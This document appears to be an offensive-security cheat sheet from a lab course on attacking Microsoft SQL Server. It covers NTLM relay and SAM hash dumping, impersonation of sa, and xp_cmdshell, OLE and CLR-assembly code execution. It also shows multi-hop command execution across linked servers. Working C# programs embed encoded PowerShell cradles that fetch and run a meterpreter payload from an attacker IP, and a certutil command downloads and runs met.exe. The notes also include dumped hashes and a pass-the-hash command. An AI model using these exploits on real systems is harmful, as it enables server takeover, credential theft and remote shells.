# Launch ntlmrelayx. this command attempts to relay captured NTLM authentication requests to the machine at 192.168.120.6 over SMB (with SMBv2 support). If the relay is successful and the authentication on the target is accepted, the specified base64-encoded PowerShell command will be executed on the target machine.
# When the xp_dirtree command is run (see code above), it will authenticate to our ntlmrelayx and we will capture the hash as shown above. 
# The -t option specifies the target to which the relayed authentication will be sent.
sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.120.6 -c 'powershell -enc <Base64EncodedCradle>'

[*] SMBD-Thread-4 (process_request_thread): Received connection from 192.168.229.5, attacking target smb://192.168.229.6
[*] Authenticating against smb://192.168.229.6 as CORP1/SQLSVC SUCCEED
[*] SMBD-Thread-6 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!
[*] SMBD-Thread-7 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!
[*] SMBD-Thread-8 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!
[*] SMBD-Thread-9 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!
[*] Service RemoteRegistry is in stopped state
Dump hashes using NTLMrelayx.py
  • You can also get the hashes if the user authenticating have the rights
  • Remember to check links also. If you have two MSSQL servers, SQL01 and SQL02 which are linked. Check if you can relay the hash from SQL01 to SQL02 and get the local SAM database for example.
proxychains python3 ntlmrelayx.py --no-http-server -smb2support -t 192.168.1.25                                                1 ⚙
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client DCSYNC loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666
[...] 
controlled, but there are no more targets left!
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xd9996db98e1caaaaabbvvfdfdeeerreew
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3623e909efeda77786a000bc7176aeac:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:cf24abb0dd2ff42591001e892d98d690:::
[*] Done dumping SAM hashes for host: 192.168.1.25
[*] Stopping service RemoteRegistry

MSSQL Escalation

Escalation

Objective

  • Achieve higher privileges within the SQL database by leveraging impersonation.

Background

  • Sysadmin Role: Direct authentication with a user possessing the sysadmin role membership is the most straightforward method to secure elevated privileges. However, accessing such a user isn’t always possible.
  • Impersonation: This technique lets you execute SQL queries in the context of another login or user. Only users granted the explicit Impersonate permission can utilize this method. This permission is not set by default.

Impersonation at the User Level:

Prerequisites:

  • Our user must have been granted impersonation for another user with additional role memberships.
  • The database user we aim to impersonate should be in a database with the TRUSTWORTHY property enabled.
    • The database owner (dbo) usually have this syadmin role.

The rid 500 user (ex: local administrator) is always added to DBA and can always impersonate SA.

using System;
using System.Data.SqlClient;

namespace SqlImpersonationDemo
{
    class Program
    {
        static void Main(string[] args)
        {
            String sqlServer = "dc01.corp1.com";
            String database = "master";
            String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;";
            SqlConnection con = new SqlConnection(conString);


            try
            {
                {
                    con.Open();
                    Console.WriteLine("Auth success!");
                    
                    // This will give us all the logins that allow impersonation.
                    string query = "SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';";
                    SqlCommand command = new SqlCommand(query, con);
                    SqlDataReader reader = command.ExecuteReader();

                    while (reader.Read() == true)
                    {
                        Console.WriteLine("Logins that can be impersonated: " + reader[0]);
                    }

                    reader.Close();

                    Console.WriteLine("Before impersonation");
                    query = "SELECT SYSTEM_USER;";
                    command = new SqlCommand(query, con);
                    reader = command.ExecuteReader();
                    while (reader.Read())
                    {
                        Console.WriteLine("Executing in the context of: " + reader[0]);
                    }
                    reader.Close();

                    string executeAs = "EXECUTE AS LOGIN = 'sa';";
                    command = new SqlCommand(executeAs, con);
                    reader = command.ExecuteReader();
                    reader.Close();

                    Console.WriteLine("After impersonation");
                    query = "SELECT SYSTEM_USER;";
                    command = new SqlCommand(query, con);
                    reader = command.ExecuteReader();
                    while (reader.Read())
                    {
                        Console.WriteLine("Executing in the context of: " + reader[0]);
                    }
                    reader.Close();

                    executeAs = "USE msdb; EXECUTE AS USER = 'dbo';";
                    command = new SqlCommand(executeAs, con);
                    reader = command.ExecuteReader();
                    reader.Close();

                    query = "SELECT USER_NAME();";
                    command = new SqlCommand(query, con);
                    reader = command.ExecuteReader();
                    while (reader.Read())
                    {
                        Console.WriteLine("Executing in the context of: " + reader[0]);
                    }

                    reader.Close();
                }
            }
            catch (Exception e)
            {
                Console.WriteLine("An error occurred: " + e.Message);
            }
        }
    }
}

Code Execution

Objective

  • Leverage sysadmin role membership to execute code on the Windows server hosting the SQL database.

Background

  • xp_cmdshell: A well-known stored procedure that spawns a Windows command shell and passes a string for execution. Disabled by default since SQL 2005 due to its potential for misuse.
  • sp_OACreate and sp_OAMethod: These stored procedures allow the creation and execution of a new procedure based on Object Linking and Embedding (OLE). They can be used to instantiate the Windows Script Host and execute commands.
    • Activation: Ensure the “OLE Automation Procedures” setting is enabled.
    • EXEC sp_configure 'Ole Automation Procedures', 1;
    • RECONFIGURE;

xp_cmdshell

using System;
using System.Data.SqlClient;
using static System.Net.Mime.MediaTypeNames;

namespace SqlImpersonationDemo
{
    class Program
    {
        static void Main(string[] args)
        {
            String sqlServer = "dc01.corp1.com";
            String database = "master";
            String conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;";

            try
            {
                using (SqlConnection con = new SqlConnection(conString))
                {
                    con.Open();
                    Console.WriteLine("Auth success!");

                    // Impersonate SA user
                    String impersonateUser = "EXECUTE AS LOGIN = 'sa';";
                    SqlCommand command = new SqlCommand(impersonateUser, con);
                    SqlDataReader reader = command.ExecuteReader();
                    reader.Close();

                    // Enable and execute xp_cmdshell
                    String enable_xpcmd = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";

                    //$text = "(New-Object System.Net.WebClient).DownloadString('http://192.168.45.221/run.txt') | IEX" 
                    // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1 
                    //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)
                    //$EncodedText = [Convert]::ToBase64String($bytes)
                    String execCmdShell = "EXEC xp_cmdshell 'powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA';";

                    command = new SqlCommand(enable_xpcmd, con);
                    reader = command.ExecuteReader();
                    reader.Close();

                    command = new SqlCommand(execCmdShell, con);
                    reader = command.ExecuteReader();
                    while (reader.Read())
                    {
                        Console.WriteLine("Result of xp_cmdshell: " + reader[0]);
                    }
                    reader.Close();

                    con.Close();
                }
            }
            catch (Exception e)
            {
                Console.WriteLine("An error occurred: " + e.Message);
            }
        }
    }
}

sp_OACreate and sp_OAMethod

Same as above, just change these lines 

 String enable_ole = "EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;";

 //$text = "(New-Object System.Net.WebClient).DownloadString('http://192.168.45.221/run.txt') | IEX" 
 // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1 
 //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)
 //$EncodedText = [Convert]::ToBase64String($bytes)
 String execCmdShell = "DECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT; EXEC sp_oamethod @myshell, 'run', null, 'powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA';";
command = new SqlCommand(enable_ole, con);

Custom Assemblies

Introduction:

  • This technique leverages managed code to achieve arbitrary code execution on a SQL server.
  • If a database has the TRUSTWORTHY property enabled, the CREATE ASSEMBLY statement can be used to import a managed DLL into the SQL server and execute its methods.
  • Creating a stored procedure from an assembly is not allowed by default. This is controlled through the CLR Integration setting, which is disabled by default. We can enable it with sp_configure and the clr enabled option.

Check if TRUTHWORTHY is enabled.

1433 – Pentesting MSSQL – Microsoft SQL Server – HackTricks

# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

Start by creating a new “Class Library (.NET Framework)” project.

using System;
using Microsoft.SqlServer.Server;
using System.Data.SqlTypes;
using System.Diagnostics;

public class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmdExec (SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();

        SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", System.Data.SqlDbType.NVarChar, 4000));
        SqlContext.Pipe.SendResultsStart(record);
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
        SqlContext.Pipe.SendResultsRow(record);
        SqlContext.Pipe.SendResultsEnd();

        proc.WaitForExit();
        proc.Close();
    }
};
  • In the CreateAssem you can either call it from location on target like this
    • CREATE ASSEMBLY myAssembly FROM 'c:\tools\cmdExec.dll' WITH PERMISSION_SET = UNSAFE;
  • This is however not realistic. So instead we will embed the hex code for the DLL in the code using the powershell script below to conovert it to hex. Remember to add 0x before the string since this is hex.
$assemblyFile = "C:\users\alaag\documents\cmdExec.dll"
$stringBuilder = New-Object -Type System.Text.StringBuilder
$fileStream = [IO.File]::OpenRead($assemblyFile)
while (($byte = $fileStream.ReadByte()) -gt -1) {
    $stringBuilder.Append($byte.ToString("X2")) | Out-Null
}
$stringBuilder.ToString() -join "" | Out-File c:\users\alaa\documents\cmdexec.txt
using System;
using System.Data.SqlClient;

namespace SqlImpersonationDemo
{
    class Program
    {
        static void Main(string[] args)
        {
            String sqlServer = "dc01.corp1.com";
            String database = "master";
            String conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;";

            try
            {
                using (SqlConnection con = new SqlConnection(conString))
                {
                    con.Open();
                    Console.WriteLine("Auth success!");

                    // Impersonate SA user
                    String impersonateUser = "EXECUTE AS LOGIN = 'sa';";
                    SqlCommand command = new SqlCommand(impersonateUser, con);
                    SqlDataReader reader = command.ExecuteReader();
                    reader.Close();

                    // Check if the procedure and assembly already exist and drop them if they do
                    String dropProcedure = "IF OBJECT_ID('dbo.cmdExec', 'P') IS NOT NULL DROP PROCEDURE dbo.cmdExec;";
                    command = new SqlCommand(dropProcedure, con);
                    reader = command.ExecuteReader();
                    reader.Close();

                    String dropAssembly = "IF EXISTS (SELECT * FROM sys.assemblies WHERE name = 'myAssembly') DROP ASSEMBLY myAssembly;";
                    command = new SqlCommand(dropAssembly, con);
                    reader = command.ExecuteReader();
                    reader.Close();

                    // Configuration for enabling CLR
                    String clrConfig = "use msdb; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'clr enabled',1; RECONFIGURE; EXEC sp_configure 'clr strict security', 0; RECONFIGURE;";
                    command = new SqlCommand(clrConfig, con);
                    reader = command.ExecuteReader();
                    reader.Close();

                    // Create the assembly and procedure
                    String CreateAssem = "CREATE ASSEMBLY myAssembly FROM 0x4D5A90000300000004000000FF... WITH PERMISSION_SET = UNSAFE;";
                    command = new SqlCommand(CreateAssem, con);
                    reader = command.ExecuteReader();
                    reader.Close();

                    String CreatePro = "CREATE PROCEDURE [dbo].[cmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly].[StoredProcedures].[cmdExec];";
                    command = new SqlCommand(CreatePro, con);
                    reader = command.ExecuteReader();
                    reader.Close();

                    // Execute the procedure
                    String ExecCmd = "EXEC cmdExec 'certutil -urlcache -split -f http://192.168.45.244/met.exe C:\\windows\\tasks\\shell.exe && cmd.exe /c C:\\windows\\tasks\\met.exe'";
                    command = new SqlCommand(ExecCmd, con);
                    reader = command.ExecuteReader();
                    reader.Read();
                    Console.WriteLine("Result of the command is: " + reader[0]);
                    reader.Close();

                    con.Close();
                }
            }
            catch (Exception e)
            {
                Console.WriteLine("An error occurred: " + e.Message);
            }
        }
    }
}
  • You cannot use CREATE ASSEMBLY on an assembly more than once without first removing the existing one. To do this, use the DROP ASSEMBLY command. Moreover, if there’s a procedure dependent on the assembly, it must be removed first using the DROP PROCEDURE command.
string dropproc = "DROP PROCEDURE cmdExec";
string dropasm = "DROP ASSEMBLY myAssembly";

Linked SQL Servers

Overview:

  • Linked SQL servers allow one SQL server to connect to another.
  • The execution context during the connection can be dynamic or a specific SQL login.
  • If a sysadmin role login is chosen, sysadmin privileges can be obtained on the linked SQL server.

Concepts:

  • If the linked SQL server uses a sysadmin role login, even low privileged access on the original server can lead to sysadmin privileges on the linked server.
  • sp_linkedservers stored procedure enumerates linked servers.
  • OPENQUERY keyword can be used to perform SQL queries on linked servers.
  • Microsoft SQL uses Remote Procedure Call (RPC) to update running configurations on remote servers.
  • RPC Out setting must be enabled for RPC to work on linked servers.
  • sp_serveroption stored procedure can enable RPC Out if the current user has sysadmin role membership.
  • AT keyword specifies which linked SQL server a query should be executed on.

Query list

# Enable RPC Out 
EXEC sp_serveroption 'sql27', 'rpc out', 'true';

# Enumerate linked servers
EXEC sp_linkedservers;

# Execute command using openquery
SELECT version FROM OPENQUERY(dc01, 'SELECT @@version AS version');

# Enable advanced options
EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT DC01;

# Enable xp_cmdshell
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT dc01

# Example 
EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT SQL53;
EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT SQL53;
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT SQL53;
EXEC ('xp_cmdshell ''whoami'';') AT SQL53;

# Double hop
EXECUTE AS LOGIN = 'SA';
EXEC ('EXEC (''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT db01') AT db02
EXEC ('EXEC (''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT db01') AT db02
EXEC ('EXEC (''xp_cmdshell ''''<your cmd here>'''''') AT db01') AT db02
EXEC ('EXEC (''xp_cmdshell ''''powershell -enc XXXXX'''''') AT db01') AT db02

# Tripple hop
EXECUTE AS LOGIN = 'SA';  
EXEC ('EXEC (''EXEC ('''' sp_configure ''''''''show advanced options'''''''', 1; reconfigure; '''') AT db02 '') AT db01') AT db02
EXEC ('EXEC (''EXEC ('''' sp_configure ''''''''xp_cmdshell'''''''', 1; reconfigure; '''') AT db02 '') AT db01') AT db02
EXEC ('EXEC (''EXEC ('''' xp_cmdshell ''''''''<your cmd here>'''''''' '''') AT db02 '') AT db01') AT db02

Enumerate Linked Servers

The code below will enumerate linked SQL servers. Running the code below in the lab will sho us that appsrv01 and dc01 is linked.

using System;
using System.Data.SqlClient;

namespace SQLExploit
{
    class Program
    {
        static void Main(string[] args)
        {
            String sqlServer = "appsrv01";  // Connecting to appsrv01
            String database = "master";
            String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;";
            SqlConnection con = new SqlConnection(conString);

            try
            {
                con.Open();
                Console.WriteLine("Auth success!");
            }
            catch
            {
                Console.WriteLine("Auth failed");
                Environment.Exit(0);
            }

            String execCmd = "EXEC sp_linkedservers;";
            SqlCommand command = new SqlCommand(execCmd, con);
            SqlDataReader reader = command.ExecuteReader();
            while (reader.Read())
            {
                Console.WriteLine("Linked SQL server: " + reader[0]);
            }
            reader.Close();
            con.Close();
        }
    }
}

Querying Linked Servers

  • Since we know from the enumeration above that dc01 is linked to appsrv01 we can query the linked SQL server
  • This will print the version of the linked SQL Server.
  • Ensure correct escaping of double quotes.
using System;
using System.Data.SqlClient;

namespace SQLExploit
{
    class Program
    {
        static void Main(string[] args)
        {
            String sqlServer = "appsrv01";  // Connecting to appsrv01
            String database = "master";
            String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;";
            SqlConnection con = new SqlConnection(conString);

            try
            {
                con.Open();
                Console.WriteLine("Auth success!");
            }
            catch
            {
                Console.WriteLine("Auth failed");
                Environment.Exit(0);
            }

            // Point 2: Querying Linked Servers using OPENQUERY
            String queryCmd = "SELECT version FROM OPENQUERY(dc01, 'SELECT @@version AS version');";
            SqlCommand queryCommand = new SqlCommand(queryCmd, con);
            SqlDataReader queryReader = queryCommand.ExecuteReader();
            while (queryReader.Read())
            {
                Console.WriteLine("Linked SQL server version: " + queryReader[0]);
            }
            queryReader.Close();
        }
    }
}

Executing Commands on Linked Servers

  • Use the AT keyword to specify the linked server.
  • Example: EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT DC01
  • Ensure correct escaping of single quotes in SQL.
using System;
using System.Data.SqlClient;
using static System.Net.Mime.MediaTypeNames;

namespace SQLExploit
{
    class Program
    {
        static void Main(string[] args)
        {
            String sqlServer = "appsrv01";  // Connecting to appsrv01
            String database = "master";
            String conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;";
            SqlConnection con = new SqlConnection(conString);

            try
            {
                con.Open();
                Console.WriteLine("Auth success!");
            }
            catch
            {
                Console.WriteLine("Auth failed");
                Environment.Exit(0);
            }

            // Enable 'show advanced options' through DC01
            String execCmd = "EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT DC01;";
            SqlCommand execCommand = new SqlCommand(execCmd, con);
            execCommand.ExecuteNonQuery();

            // Check if "show advanced options" is enabled on DC01 using OPENQUERY
            String checkCmd = "SELECT value_in_use FROM OPENQUERY(DC01, 'SELECT value_in_use FROM sys.configurations WHERE name = ''show advanced options''');";
            SqlCommand checkCommand = new SqlCommand(checkCmd, con);
            int valueInUse = Convert.ToInt32(checkCommand.ExecuteScalar());

            if (valueInUse == 1)
            {
                Console.WriteLine("Command executed successfully: 'show advanced options' is enabled on DC01.");
            }
            else
            {
                Console.WriteLine("'show advanced options' is not enabled on DC01.");
            }

            String enablexpcmdshell = "EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT dc01";
            SqlCommand enablexpcmdshell1 = new SqlCommand(enablexpcmdshell, con);
            enablexpcmdshell1.ExecuteNonQuery(); // Use the correct SqlCommand object here

            //$text = "(New-Object System.Net.WebClient).DownloadString('http://192.168.45.244/run.txt') | IEX"
            //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)
            //$EncodedText = [Convert]::ToBase64String($bytes)
            //$EncodedText
            string execmd = "EXEC ('xp_cmdshell ''powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA''') AT dc01";
            SqlCommand runthis = new SqlCommand(execmd, con);
            runthis.ExecuteNonQuery(); // Use the correct SqlCommand object here

            con.Close();
        }
    }
}

Privilege Escalation

  • We know from above that appsrv01 has a link to dc01. We might query dc01 to see if it has any links to another SQL server. In this example we assume that appsrv01 has a link to dc01, and dc01 has a link to appsrv01.
  • If a SQL server on one machine (e.g., dc01) has a link to another (e.g., appsrv01), you can potentially use this link for privilege escalation.
  • Use the OPENQUERY keyword to execute a query on one server and inside that, execute another query on the linked server.

To enumerate if the linked SQL server has another link, we can use the code below.

using System;
using System.Data.SqlClient;

namespace SQL
{
    class Program
    {
        static void Main(string[] args)
        {
            String sqlServer = "appsrv01";
            String database = "master";
            String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;";
            SqlConnection con = new SqlConnection(conString);

            try
            {
                con.Open();
                Console.WriteLine("Auth success!");
            }
            catch
            {
                Console.WriteLine("Auth failed");
                Environment.Exit(0);
            }

            String query = "EXEC ('sp_linkedservers') AT DC01;";
            SqlCommand command = new SqlCommand(query, con);
            SqlDataReader reader = command.ExecuteReader();
            while (reader.Read())
            {
                Console.WriteLine("Linked SQL server: " + reader[0].ToString());
            }
            reader.Close();
            con.Close();
        }
    }
}
  • The code below will use OpenQuery twice. First on the linked SQL server dc01, and back again to appsrv01 to enumerate the login user
String query = "select mylogin from openquery(\"dc01\", 'select mylogin from openquery(\"appsrv01\", ''select SYSTEM_USER as mylogin'')')";
SqlCommand command = new SqlCommand(query, con);
SqlDataReader reader = command.ExecuteReader();
while (reader.Read())
{
    Console.WriteLine("Login: " + reader[0].ToString());
}
reader.Close();

Code Exection

  • Using the code below will give us code execution on appsrv01 through dc01 as the sa user.
using System;
using System.Data.SqlClient;

namespace SQL
{
    class Program
    {
        static string sqlServer = "appsrv01";
        static string database = "master";
        static string conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;";

        static void Main(string[] args)
        {
            using (SqlConnection con = new SqlConnection(conString))
            {
                con.Open();
                Console.WriteLine("Auth success!");

                ListLinkedServers(con);
                DisplayCurrentLoginThroughDC01(con);
                DisplayCurrentLoginLocal(con);
                EnableAdvancedOptionsOnBothServers(con);
                EnableXpCmdShellOnBothServers(con);
                ExecutePayloadOnAppsrv01ThroughDC01(con);

                con.Close();
            }
        }

        static void ListLinkedServers(SqlConnection con)
        {
            ExecuteReader(con, "EXEC ('sp_linkedservers') AT DC01;", reader => Console.WriteLine("Linked SQL server: " + reader[0]));
        }

        static void DisplayCurrentLoginThroughDC01(SqlConnection con)
        {
            string query = "select mylogin from openquery(dc01, 'select mylogin from openquery(appsrv01, ''select SYSTEM_USER as mylogin'')')";
            ExecuteReader(con, query, reader => Console.WriteLine("Login: " + reader[0]));
        }

        static void DisplayCurrentLoginLocal(SqlConnection con)
        {
            ExecuteReader(con, "SELECT SYSTEM_USER;", reader => Console.WriteLine("Executing as login: " + reader[0]));
        }

        static void EnableAdvancedOptionsOnBothServers(SqlConnection con)
        {
            ExecuteNonQuery(con, "EXEC ('EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT appsrv01') AT dc01");

            if (CheckIfOptionEnabled(con, "DC01", "show advanced options"))
                Console.WriteLine("'show advanced options' is enabled on DC01.");
            else
                Console.WriteLine("'show advanced options' is NOT enabled on DC01.");

            ExecuteNonQuery(con, "EXEC sp_configure 'show advanced options', 1; RECONFIGURE;");

            if (CheckIfOptionEnabled(con, "appsrv01", "show advanced options"))
                Console.WriteLine("'show advanced options' is enabled on appsrv01.");
            else
                Console.WriteLine("'show advanced options' is NOT enabled on appsrv01.");
        }

        static void EnableXpCmdShellOnBothServers(SqlConnection con)
        {
            // Enable xp_cmdshell on appsrv01 through DC01
            ExecuteNonQuery(con, "EXEC ('EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT appsrv01') AT dc01");

            // Enable xp_cmdshell on DC01
            ExecuteNonQuery(con, "EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT dc01");

            if (CheckIfOptionEnabled(con, "DC01", "xp_cmdshell"))
                Console.WriteLine("'xp_cmdshell' is enabled on DC01.");
            else
                Console.WriteLine("'xp_cmdshell' is NOT enabled on DC01.");

            if (CheckIfOptionEnabled(con, "appsrv01", "xp_cmdshell"))
                Console.WriteLine("'xp_cmdshell' is enabled on appsrv01.");
            else
                Console.WriteLine("'xp_cmdshell' is NOT enabled on appsrv01.");
        }


        static void ExecutePayloadOnAppsrv01ThroughDC01(SqlConnection con)
        {
                    //$text = "(New-Object System.Net.WebClient).DownloadString('http://192.168.45.221/run.txt') | IEX" 
                    // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1 
                    //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)
                    //$EncodedText = [Convert]::ToBase64String($bytes)
            ExecuteNonQuery(con, "EXEC ('EXEC(''xp_cmdshell ''''powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA'''' '') AT appsrv01') AT dc01");
        }

        static void ExecuteReader(SqlConnection con, string query, Action<SqlDataReader> action)
        {
            using (SqlCommand cmd = new SqlCommand(query, con))
            {
                using (SqlDataReader reader = cmd.ExecuteReader())
                {
                    while (reader.Read())
                    {
                        action(reader);
                    }
                }
            }
        }

        static void ExecuteNonQuery(SqlConnection con, string query)
        {
            try
            {
                using (SqlCommand cmd = new SqlCommand(query, con))
                {
                    cmd.ExecuteNonQuery();
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine($"Failed to execute query. Error: {ex.Message}");
            }
        }

        static bool CheckIfOptionEnabled(SqlConnection con, string server, string option)
        {
            string query = server == "DC01"
                ? $"SELECT value_in_use FROM OPENQUERY({server}, 'SELECT value_in_use FROM sys.configurations WHERE name = ''{option}''');"
                : $"SELECT value_in_use FROM sys.configurations WHERE name = '{option}';";
            using (SqlCommand cmd = new SqlCommand(query, con))
            {
                return Convert.ToInt32(cmd.ExecuteScalar()) == 1;
            }
        }
    }
}

Automating linked SQL enum and attacks

PowerUpSQL.ps1

Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM

GitHub – NetSPI/PowerUpSQL: PowerUpSQL: A PowerShell Toolkit for Attacking SQL Server

Evil SQL Client

GitHub – NetSPI/ESC: Evil SQL Client (ESC) is an interactive .NET SQL console client with enhanced SQL Server discovery, access, and data exfiltration features. While ESC can be a handy SQL Client for daily tasks, it was originally designed for targeting SQL Servers during penetration tests and red team engagements. The intent of the project is to provide an .exe, but also sample files for execution through mediums like msbuild and PowerShell.

# First run the .exe on target machine

# Find domainspns
SQLCLIENT> discover domainspn

# Show discovered instances. 
SQLCLIENT> show discovered

# List links information for accessoble target SQL Server instances.
list links

MSSQL Pwner (Best tool)

GitHub – ScorpionesLabs/MSSqlPwner

# We assume we have access to appsrv01 as a non-sa account. appsrv01 have a link to DC01. The link is bidirectional. We can use that to escalate our privileges on appsrv01.

python3 MSSqlPwner.py corp1.com/offsec:lab@192.168.229.6 -windows-auth interactive
...
[*] Discovered server principal: APPSRV01\Administrator on APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo) -> APPSRV01 (sa@master/dbo) 
...

# Pass the hash MSSQLPwner
MSSqlPwner.py administrator@192.168.231.140 -hashes :5c3e856f452d9cecc5801a954ab22122 -windows-auth interactive


# Set link server to DC01
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest)> set-link-server DC01
[*] Chosen linked server: DC01

# Execute commands. MSSQL Pwner will enable xp_cmdshell automatically if the user have rights.
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo)> exec whoami
[*] Chosen linked server: DC01
[*] Reconfiguring show advanced options
[*] Reconfiguring xp_cmdshell
[*] The xp_cmdshell command executed successfully on APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo)
[*] Result: (Key: output) corp1\sqlsvc
[*] Result: (Key: output) NULL

# Execute commands on appsrv01 through DC01 
# First get the chain list
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo)> get-chain-list
[*] Chosen linked server: DC01
[*] Chain list:
[*] 995f1680-2ad4-4f50-8606-47312d5b5807 - APPSRV01 (CORP1\offsec@master/guest) (CORP1\offsec guest@master)
[*] aacabf55-4bb6-40e3-a0ce-feb406d26b1e - APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo) (sa dbo@master)
[*] f74445c8-4fb7-4a68-86d8-9c14cfd9470a - APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa>I:CORP1\Administrator@master/dbo) (CORP1\Administrator dbo@master)
